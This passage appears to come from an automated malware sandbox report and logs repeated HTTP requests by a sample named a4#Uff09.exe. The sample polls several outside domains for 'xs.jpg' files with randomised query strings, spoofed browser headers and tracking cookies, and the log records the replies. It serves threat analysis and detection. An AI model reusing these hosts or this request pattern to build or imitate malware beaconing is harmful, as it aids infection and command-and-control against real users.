                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          19192.168.2.74972537.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:23.674042940 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:00:24.407248020 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:00:24 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:00:24 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          20192.168.2.74972854.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:24.811845064 CEST308OUTGET /images/xs.jpg?221ae27=321855327 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159217|1720159208|3|3|0
                                                          Jul 5, 2024 08:00:25.541151047 CEST594INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:25 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159225|1720159208|5|4|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          21192.168.2.74973044.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:25.972826958 CEST299OUTGET /xs.jpg?235836c=111184452 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159219|1720159209|3|3|0
                                                          Jul 5, 2024 08:00:26.490910053 CEST585INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:26 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159226|1720159209|5|4|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          22192.168.2.74973344.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:26.520518064 CEST301OUTGET /images/xs.jpg?26da991=81482530 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159219|1720159210|3|3|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:00:27.057482958 CEST333INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:26 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159226|1720159210|5|4|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          23192.168.2.74973478.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:27.068264008 CEST190OUTGET /xs.jpg?27afc36=374529510 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:27.749187946 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:00:27 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          24192.168.2.74973537.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:27.800232887 CEST203OUTGET /images/xs2.jpg?28f128c=128792484 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:28.512835979 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:00:28 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:00:28.540302992 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:00:28.794955015 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:00:28 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:00:28 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          25192.168.2.74973654.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:28.927989006 CEST308OUTGET /images/xs.jpg?2ed8448=294721968 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159225|1720159208|5|4|0
                                                          Jul 5, 2024 08:00:29.681262970 CEST594INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:29 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159229|1720159208|4|5|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          26192.168.2.74973744.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:29.744544029 CEST299OUTGET /xs.jpg?3019abc=302620776 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159226|1720159209|5|4|0
                                                          Jul 5, 2024 08:00:30.257817030 CEST585INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:30 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159230|1720159209|4|5|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          27192.168.2.74973844.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:30.268121004 CEST301OUTGET /images/xs.jpg?31491f6=51679734 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159226|1720159210|5|4|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:00:30.755021095 CEST333INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:30 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159230|1720159210|4|5|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          28192.168.2.74973978.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:31.304904938 CEST189OUTGET /xs.jpg?34684a5=54953125 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:31.963129997 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:00:31 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          29192.168.2.74974037.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:31.994021893 CEST203OUTGET /images/xs2.jpg?35a0bf9=562329530 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:32.702356100 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:00:32 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:00:32.705703974 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:00:32.944922924 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:00:32 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:00:32 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          30192.168.2.74974154.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:33.112704992 CEST307OUTGET /images/xs.jpg?3bf8e4d=62885453 HTTP/1.1
